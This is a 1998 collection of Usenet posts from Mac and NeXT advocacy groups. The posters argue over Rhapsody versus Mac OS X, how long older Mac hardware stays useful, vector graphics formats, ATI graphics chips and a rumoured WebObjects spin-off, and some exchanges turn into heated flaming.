Date: 17 Jun 1998 18:28:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ADBB09-7DB12@206.165.43.97>
References: <6m8jm5$dbl$21@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AD55CF-37355@206.165.43.101> "Lawson English" claimed:
>> Shifts and adds. But, here's a question: which is faster, using
Bresenham's
>> for the generic line, or using the same strategy optimized for vertical,
>> horizontal and 45-degree lines?
>
> Neither, you should read more of your Graphics Gems.
???
I've never heard anyone claim that the generic case of Bresenham's is as
fast as the special case before. Which Graphics Gems article claims this?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 17 Jun 1998 22:24:17 GMT
Organization: Cygnus Solutions
Message-ID: <6m9fmh$92f$1@cronkite.cygnus.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4>
<6m72rr$8q5$1@cronkite.cygnus.com> <Euopxp.Ezq@AWT.NL>
Mime-Version: 1.0
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Cc: G.C.Th.Wierda@AWT.nl
In <Euopxp.Ezq@AWT.NL> Gerben Wierda wrote:
> jrudd@cygnus.com (John Rudd) wrote:
> >> >Because that time is reserved for the next future Mac OS, due in
another
> >> >12-18 months. The one that will require G4's and obsolete all G3's.
> >>
> >> They wouldn't DARE pull something like that...
> >>
> >>
> >> ...would they? :-(
> >>
> >
> >Well, lets take a look at their track record for the last year and a
half..
> >
> >They've stopped supporting 68k machines (apple and next alike) with new OS
> >releases (I don't know if macos8 is included, but rhapsody and macos x are
> >definitely included, and probably macos 9).
>
> Actually, this is not correct. NeXT never stopped supporting the m68k
> hardware. It was only when Apple took over that they stopped supporting
> obsolete NeXT hardware. NeXT hardware is supported under OPENSTEP 4.2.
>
Nothing I said contradicts this. The "apple and next alike" phrase refers to
the machines (ie. Apple m68k and Next m68k), not the company which is taking
action. Nothing stopped/is-stopping Apple from releasing Rhapsody on those
systems, yet Apple chose to drop both shortly after aquiring NeXT.
> NeXT did stop support for HP PA-RISC workstations (from 3.2->3.3) and Sun
> SPARC machines (from 3.3->4.0). But they did not stop supporting m68k.
not quite. Your phrasing implies that HP-PA was dropped in the transition
from 3.2 to 3.3, and that Sparc was dropped in the transition from 3.3 to
4.0. This is not correct. HP-PA and Sparc were both supported in 3.3. HP
was dropped with 4.0, and Sparc is still supported in 4.2 (At least, I'm
posting this from a 4.2 Sparcstation). It is with the move to Rhapsody that
Sparc support was dropped.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Wed, 17 Jun 1998 19:00:13 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dargdt.edmdpoeifj59N@phoenix81.wco.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com>
Nathan Urban <nurban@crib.corepower.com> wrote:
> Please explain just how MacOS X is _not_ Rhapsody in any important way.
Ummm... All new artwork on the box. A different label on the CD. A
whole different marketing campaign.
Howzat?
--
Mike Paquette mpaque@wco.com
"Troubled Microsoft" and the "Troubled Microsoft" logo are trade and
service marks of Microsoft Corp.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Wed, 17 Jun 1998 19:00:11 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1darfe3.u1kfrz19fjnr2N@phoenix81.wco.com>
References: <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <ldo-0406981933530001@a24.hn1.wave.co.nz> <6l88l3$j4c$1@goanna.cs.rmit.edu.au> <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <6m515l$lf8$1@news.cs.tu-berlin.de>
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> My major gripe with PDF is that it isn't human readable or editable.
Well, then, you're gonna love VML, from the folks at AutoDesk, HP, and
some little company up in Redmond. It says right in the proposed spec
that it's designed to be directly editable by humans as well as
automated tools. Just check out the spec at the World Wide Web
Consortium (w3c.org) and you'll see what I mean (tongue firmly in
cheek...).
I haven't seen a vector page description syntax yet that is easily
grokked by humans.
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: "Raffael Cavallaro" <raffael@pop.tiac.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 23:09:43 -0400
Organization: The Internet Access Company, Inc.
Message-ID: <6ma0gb$bo1@news-central.tiac.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m8jqk$7rv@news-central.tiac.net> <rmcassid-1706980907240001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>Apple's been dead on with their MacOS releases since and including 8.0. I
>have *no* doubt that OS 9 and X will ship in a timely fashion. And, if you
>are looking at development rates - 8, 9, and X will have shipped within a
>2 year window. So 11 would seem likely for 2000 or 2001.
You obviously don't recall the fact that MacOS 8 was supposed to be
Copland - i.e., it was publicly stated by Apple that the successor the MacOS
7 (which would be 8, right, or do they count differently in Cupertino?)
would have PMT, memory protection, etc. They even went so far as to demo it
at trade shows during development, that is, until it became clear that the
project was failing. Then they cancelled Copland and did something really
sleazy...
Put simply, they released the next rev of System 7 (which should have been
7.7 or 7.8 or somesuch), which did *not* have PMT or protected memory, and
called it MacOS 8. What is now sold as MacOS 8 (or 8.1, etc.) is really just
another rev of MacOS 7.
In fact, the features of the originally planned MacOS 8, especially PMT and
protected memory, will not ship in a consumer MacOS until MacOS X (if that
ever does ship - we'll see).
You just bought Apple's goofy renaming scheme hook, line, and sinker. Either
that or you haven't been using Macs long enough to remember the promised
feature set of System 7's successor (i.e., Copland or MacOS 8).
What matters is the shipped feature set. If Apple decides to sell the next
update to MacOS 8 as "MacOSX" but ships it without Carbon, without PMT,
without memory protection, does that mean that MacOS X shipped ahead of
schedule?
Obviously not. It just means that Apple's marketing people know how a name
change can fool people who aren't paying attention very carefully.
I repeat, Apple would have to ship the feature set of MacOS X *a year ago*
just to live up to schedules announced back in '95 for the rollout of
Copland (i.e., the original, failed MacOS 8). If MacOS X ships next year,
then Apple will only be *three years behind* announced schedule for MacOS
features. Get the picture?
As regards future MacOS releases, I'll believe 'em when I see 'em (and not
before).
Raf
From: "Paul Arthur" <parthur@NoSpamop.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 17 Jun 98 23:16:13 -0500
Organization: OpNet -- Greater Philadelphia Internet Service
Message-ID: <B1ADFEC2-BD3F@209.152.194.37>
References: <6m8684$dbl$6@ns3.vrx.net>
Mime-Version: 1.0
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nntp://news.op.net/comp.sys.next.advocacy
>>But I had to take some issue with what Maury was
>> saying, that the Mac gaming world was in a death spiral from which it
would
>> never recover (or something to that effect).
>
> I'm sorry, but I said nothing of the sort. I said Mac gaming is
currently
>dead - a statment I still believe is overhelmingly the case. I don't
think
>it _has_ to remain that way, but I see little to suggest it's changing
Like I said, it was something to that effect . . .
Paul Arthur
---------------------------------------------------
This message was created and sent using the Cyberdog Mail System
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From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net>
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 23:00:35 -0400
Message-ID: <358882f9.0@news.together.net>
Organization: Together Networks - Burlington, VT.
The Doom That Came To Usenet wrote in message ...
>In article <35872ab1.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>
>>>>However, n a sense, the robust quality of the Macintosh is a thorn to
>>>>Apple.
>>>..
>>>It never existed, so it can't be much of a problem.
>
>You're talking out of your ass again.
>How many Macintosh computers have you actually owned, Lance?
>Not a one, I suspect.
..
Suspect? Stop answering your own questions. It makes you sound like a dolt.
..
..
>So then, just how the hell would you know anything about the quality of
>Mac hardware components?
>'Cause you used to repair them?
..
Ah, still.
..
..
>Ever stopped to think that because you repaired them, the only Mac hardware
>you're exposed to is faulty Mac hardware?
..
Ever stop to think that faulty Macs are built exacly the same what as all
the rest?
..
..
>That's no basis for comparison.
..
Ya there is.
..
..
>I'ved repaired just about everything under the sun as far as computers go,
>at one time or the other.
>Does that mean that every computer I've repaired is a broad indication
>of the quality inherent in all of the products that particular
>manufacturer produces?
>Hell, no.
..
Well, no. For example, I don't compare Walkmans to Sony computers or audio
equipment. I also don't compare Mitsubishi tuna to Mitsubishi cars or
Mitsubichi TVs. Come to think of it, if you've got a point here, it's that
you don't have a point.
..
..
>You don't know what you're talking about, plain and simple.
>Go back to your little Best Buy job slapping in memory and hard drives.
..
Given an obvious lack of position, is this the best you can do?
..
..
>>>There's nothing unusual about the Mac hardware. In fact it's very
pedestrian
>>>as computers go.
>
>When compared to what- SGI or Sun?
>Commodore's Amiga?
>I know you're not seriously comparing Apple hardware to >Compaq,Dell, et
al.
..
Of course I am.
..
..
>Be very careful here, Lance.
>You're about to make an ass out of yourself.
..
By you? Please.
..
..
<SNIP>
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Thu, 18 Jun 1998 03:04:47 GMT
Organization: Internet Design Group, Inc.
Message-ID: <358880be.1657005@news.icx.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <Euopxp.Ezq@AWT.NL> <6m9js0$34n$1@news.xmission.com>
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don@misckit.com (Don Yacktman) wrote:
>Interesting thought: NEXTSTEP ran on four architectures.
>Come to Rhapsody (5.0, in effect) and you're down to one of those plus PPC,
>so two architectures. Come 6.0 (Mac OS X) you're down to PPC, which is
>exactly none of the platforms that NeXT's product ran on. (Well, there was a
>partial in-house port to PPC back in 1993, but that doesn't count because it
>never got out.)
Which is exactly why very few vendors considered taking advantage of
the hyped "cross-platform" development with NEXTSTEP. Everyone knew
just how long it would last given NeXT's "pull-the-rug-from-under-you"
history.
Yet another sad chapter... and one more reason, of many, not to bet on
YB for Win32.
Michael
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <rmcassid-1606982332440001@dialin9182.slip.uci.edu>
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 23:14:40 -0400
Message-ID: <35888647.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Robert Cassidy wrote in message ...
>In article <35872ab1.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>> This may very well be a Mac user mindset but it hardly has anything to do
>> with PCs. The fact of the matter is that Apple simply can't or won't
compete
>> whether it's software *or* hardware. If Apple wants to sell more
hardware,
>> all they need to is.... ready?.... introduce more hardware. The herd will
>> surely follow. Unfortunately, for Apple, the herd they need to interest
>> isn't and that's an *Apple* problem.
>
>Ah! Introduce more hardware. Why the hell didn't Apple think about that
>before! That's what we need - 40 different models of varying performance
>and expandability and preconfigured options. Maybe two lines - one
>targetted at professionals and one targetted at consumers. Maybe we'll
>call the consumer ones 'Performa' to suggest performance... Great plan.
>Send to to Schiller. He'll laugh so hard he'll probably pee.
..
Other than you, no one said anything about 40 models.
..
..
>If Apple wants to sell more hardware, make more _software_ which demands
>new hardware. Not software that has been engineered only to work on new
>hardware - but software that _demands_ it. Runs like shit on old hardware
>because it is so advanced and useful... Like NT claims to do...
..
There's no shortage of such software. Try FMP 4 or 5 on your IIci.
..
..
>> >However, n a sense, the robust quality of the Macintosh is a thorn to
>> >Apple.
>> ..
>> It never existed, so it can't be much of a problem.
>
>You've never seen a IIci have you? I've got several that have only ever
>been cracked open to install a ethernet card and some RAM. What - 9 years
>old? Runs an OS that shipped after Win95 and is still plenty useful. A bit
>slow. But built like a tank. Nicely expandable, good form-factor, reliable
>as hell.
..
You don't get it do you? What you just described is COMMONPLACE.
..
..
>I'd put at least a half dozen other models on the list of very well
>designed and robust...
..
Again, COMMONPLACE.
..
..
>> >Many of their traditional user base are a lost revenue to Apple
>precisely
>> >because the machines are quite capable of remaining useful for >years to
>> come.
>> ..
>> Just a dream, just a dream. If you want to sell something, you need to:
>> 1) Make something worth buying at a given price point.
>> 2) Generate enough interest to make the sale.
>
>But 1) is a relative measure for replacement sales - which I think was
>John's perspective. He is saying that new hardware may not be worth buying
>(even at any price) if your old hardware is in no ways deficient. The rule
>breaks when you buy hardware to gloat, however.
>
>> > There has been _SOME_ "end of lifetime" movement in Apple in the past,
but
>> >not anything near the scope of what happens in the PC world.
>> ..
>> Let's see: Apple II, Apple III, Apple IIIPlus, Apple IIe, Apple IIc, Mac,
>> Mac 512K, MacPlus, Mac Classic, MacETC.
>
>So every time Apple stops shipping a model it is instantly useless? Could
>you be a bigger idiot?
..
Only if I stood on your shoulders. Since I didn't write anything like what
you did, you'd better re-read.
..
..
> Apple supported the Apple II line until 1995 or
>some such. MacPlus would run 6.0.8. An SE/30 will run 7.6. There's been no
>'end-of-lifetime' to speak of in the Mac world - generally not in less
>than 8 years or so.
..
Oh, please, This is so old it's moldy and no more accurate than when
MacClones, like youself, started spreading it.
..
..
>> > While it speaks
>> >volumes about the good design of Mac hardware,
>> ..
>> There's nothing unusual about the Mac hardware. In fact it's very
pedestrian
>> as computers go.
>
>Really? SCSI-out was pretty common back in the 386 days - standard even, I
>suppose? Built in networking on every PC, perhaps? 3.5" floppy drives back
>then? SVGA graphics standard as well, I imagine? So, you can say that a
>stock 286 + an ethernet card would be acceptably usable by todays
>standards?
..
Of course it could. It all depends on use. Same for Apple hardware. GOD,
what a lame argument.
..
..
> Or would you have to replace about 5 things in it, nearly
>replacing it entirely? Perhaps that's why there are still IIci's in use
>today - you simply don't need to replace any part of them to make them
>useful. In hindsight, the IIci was _not_ pedestrian.
..
Again, COMMONPLACE.
..
..
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m7gri$lbs$2@news.xmission.com> <358802f0.0@news.gj.net>
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 23:21:17 -0400
Message-ID: <358887d1.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Michael Rousseau wrote in message <358802f0.0@news.gj.net>...
>I would tend to agree with this observation. I type this on my Cube, with
my trusty functional 1989 Mac
>IIci sitting next to it. These machines do, for me, in fact provide what I
need.
>
>I reluctantly just acquired my first personal Intel box for non-UNIX
duties. I have been working as a
>NEXTSTEP and Sun SysAdmin for over five years, and never saw the value of
investing in the Wintel platform
>for personal use. I actually find it funny that I have a 333MHz 128MB PII
box sitting behind me, yet I
>browsed that URL (http://macopinion.com/editorials/rhaposb.html) in lynx on
an old 040 black box. Guess it
>is still hard to take Wintel solutions seriously after living with robust
hardware/OS solutions.
..
You could be taking the same nostalgic trip down memory lane with a 386
running Linux. Since you're obviously not aware of WinX solutions, I guess
it would be difficult to take them seriously.
..
..
<SNIP, more careening down memory lane>
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 18 Jun 1998 03:41:19 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ma28v$fvk$1@news.cs.tu-berlin.de>
References: <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6k
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mpaque@wco.com (Mike Paquette) writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> My major gripe with PDF is that it isn't human readable or editable.
>Well, then, you're gonna love VML, from the folks at AutoDesk, HP, and
>some little company up in Redmond. It says right in the proposed spec
>that it's designed to be directly editable by humans as well as
>automated tools. Just check out the spec at the World Wide Web
>Consortium (w3c.org) and you'll see what I mean (tongue firmly in
>cheek...).
Yeah, the VML proposal was pretty funny, especially as it seems
to combine all the disadvantages of various vector formats.
I actually like the look of PGML much better.
>I haven't seen a vector page description syntax yet that is easily
>grokked by humans.
OK. Let's call it 'vi compatible' instead... :-) Although Edit
or Yap are usually a better fit for large files containing
binary PS.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 18 Jun 1998 03:33:54 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ma1r2$flu$1@news.cs.tu-berlin.de>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net> <6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net> <6m7ltq$kd8$1@news.cs.tu-berlin.de> <6m83m1$dbl$2@ns3.vrx.net> <3588013A.D138B39D@nstar.net> <6m9e0f$b43$1@news.spacelab.net> <35886BB7.FE179AD8@nstar.net>
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Michael Peck <mjpeck@nstar.net> writes:
>Charles W. Swiger wrote:
>> The Apple II was about the first personal computer, agreed.
>>
>> However, a "timesharing system with multiple terminals attached" is not a
>> personal computer by definition: (a) it's not "personal", and (b) you don't
>> have a computer on your desk-- you have a dumb terminal connected to thge
>> actual computer, which is in the machine room....
>I don't say that it fit the definition of a personal computer; it was a
>mini, duh. I *do* say that the gist of Marcel's point, i.e. a direct,
>personal, interactive user environment was the main service performed by
>the box, is entirely valid. I say this because it stands in stark
>contrast with the mainframes of the day, which were operated via TN3270
>form-based terminals. The UNIX environment was *very* personal, by
>contrast. In fact, I don't think anyone at the time of the PDP-11 would
>have argued if you had called it a personal computer, since the modern
>definition of that term hadn't yet been developed.
Thanks, Michael, at least *one* person got the '' around personal.
Anyway, this is from an interview with Ritchie & Thompson, in
the late, lamented Microsystems, October 1984, page 51:
Mark: How do you feel about the ports to the new
CPUs, line some of the micros? In fact I've
wondered if you guys ever thought about
whether we mavericks would be able to get
UNIX up and running on micros.
Dennis: The interesting thing is that, for most
of its life, UNIX *was* running on a
micro, considerably smaller than than
the current ones, and it was the micro
that took up the cause.
Ken: It had 8K words of 12...no 18 bit core.
[That was the PDP-7]
Dennis The PDP-11, the first one, had 24K bytes.
Ken: But I don't know. UNIX doesn't *really*
run well on traditional small 8-bit
machines. It's only the 16-bit machines
that can really run it.
Mark: We're not even really looking at 8-bit
machines any more.
The article preceeding the interview (The Evolution
of the UNIX Timesharing System, by Dennis M. Ritchie)
goes into some more detail on the early PDP-7 UNIX
(single tasking, etc.) and the PDP-11 acquired as a
'word processor' for the patent department, with
a whopping .5MB disk drive and no memory protection
supporting 3 typists and the developers.
Marcel
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 04:29:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oh5t5.p7f.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <see-below-1706981807140001@dynamic62.pm07.mv.best.com>
On Wed, 17 Jun 1998 18:07:14 -0700, Matthew Vaughan <see-below@not-my-address.com> wrote:
>To refresh everyone's memory, initially Apple announced the iMac would
>have a Rage II-class chipset in it, but has been quiet about the
>particular part to be used since then. I've heard that Rage Pro is
>pin-compatible with Rage II,
[snipped]
Is ATI even making the Rage II+ anymore? That would be the question to ask.
Apple switched from the II+ to the Pro in the g3 line in the past month or
so, did they do this because the II+ is no longer being built? Apple had
to have some reason for changing.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 04:33:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oh657.p7f.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com>
On Wed, 17 Jun 1998 19:00:13 -0700, Mike Paquette <mpaque@wco.com> wrote:
>Nathan Urban <nurban@crib.corepower.com> wrote:
>> Please explain just how MacOS X is _not_ Rhapsody in any important way.
>Ummm... All new artwork on the box. A different label on the CD. A
>whole different marketing campaign.
>Howzat?
That answer was clear, concise, direct and totally useless. Now I am finally
sure that Apple is being run by Vorlons...
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 04:18:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oh598.p7f.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net>
On Wed, 17 Jun 1998 20:31:06 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> Hmmm... Rage 3d Pro is old? It offers 100mhz SDRAM and comes in an AGP2
>> part. According to ATI's web site, it has won awards as recently as May.
>Unlike in the Mac market, whose hardware (except for the CPU) seems to
>move at a snail's pace, a PC graphics chip is old if it is being
>shipped. The PC game hardware market addresses technology as "current"
>when it is approximately 3 months from integrator-level designs.
The downside to this "churn" is that you get tons of buggy drivers every
90 days. I don't see that its worth the QA headaches for a 5% (or even
20%) increase in speed.
>Who gave the ATI Rage Pro awards as recently as May? Computer Shopper?
http://www.atitech.ca/news_awards_events/awards/awards.html#northam
PC Gamer, PC Computing and PC World all gave awards to card with the
ATI Rage Pro in May 98.
>Somehow I doubt that PC Gamer and Next-Generation are giving the ATI
>Rage Pro awards at this point.
May 98 isn't recent?
>It was (honest!). It doesn't compete anymore. Matrox G200, Number Nine
>Revolution IV, Riva TNT, Voodoo II, S3 Savage 3D, Glaze 3D, and many
>many more...all will dramatically outperform that chipset, and all will
----------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>almost certainly ship before August (for well under $200).
By how much? Is it worth the QA issues for a 20% increase? It's one thing
to go through that for a 200% boost, but 5%->20% isn't enough to go and
do it.
--
sal@panix.com
Salvatore Denaro
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: WebObjects spin-off rumor
Date: Thu, 18 Jun 1998 00:58:02 -0400
Organization: BM
Message-ID: <6ma6gv$akr$1@argentina.it.earthlink.net>
References: <vik-0806981034470001@p20.hwts04.loop.net>
<6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com>
<6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com>
<6m0kg4$khs@nntp02.primenet.com> <6m13tr$ndd$4@ironhorse.plsys.co.uk>
<6m1eq1$hkq@nntp02.primenet.com> <6m8k50$5mq$2@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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For those who have had a hard time realizing the insignificance of the
$2M/quarter profit value of the enterprise-focused WebOjects to the
$4Billion/year newly consumer-centric Apple, enjoy the latest from Mac the
Knife:
"Word to your mother: Apple seems to be suffering similar maternity pains this
month, at least judging from the latest rumors of forthcoming software
spin-offs. For starters, reports are emanating from the Mother Ship of a
possible extrusion of WebObjects, the hot-'n'-hunky object-oriented Web
development tool Apple acquired along with NeXT. The jury is reportedly out on
whether to sell off the technology or launch WebObjects Inc. with an IPO."
full story:
http://www.zdnet.com/macweek/mactheknife/index.html
Ziya
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: 17 Jun 1998 23:00:03 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ADFAEB-19BAA@206.165.43.47>
References: <1darfe3.u1kfrz19fjnr2N@phoenix81.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Mike Paquette <mpaque@wco.com> said:
>
>I haven't seen a vector page description syntax yet that is easily
>grokked by humans.
Isn't that kinda a truism? Humans can easily parse things that give
computers breakdowns. Computers can easily handle formats that give humans
breakdowns.
The obvious solution is to propose a format designed to be readable by a
speedy ANN.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 21:49:42 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <Euptyu.xy@haddock.cd.chalmers.se>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
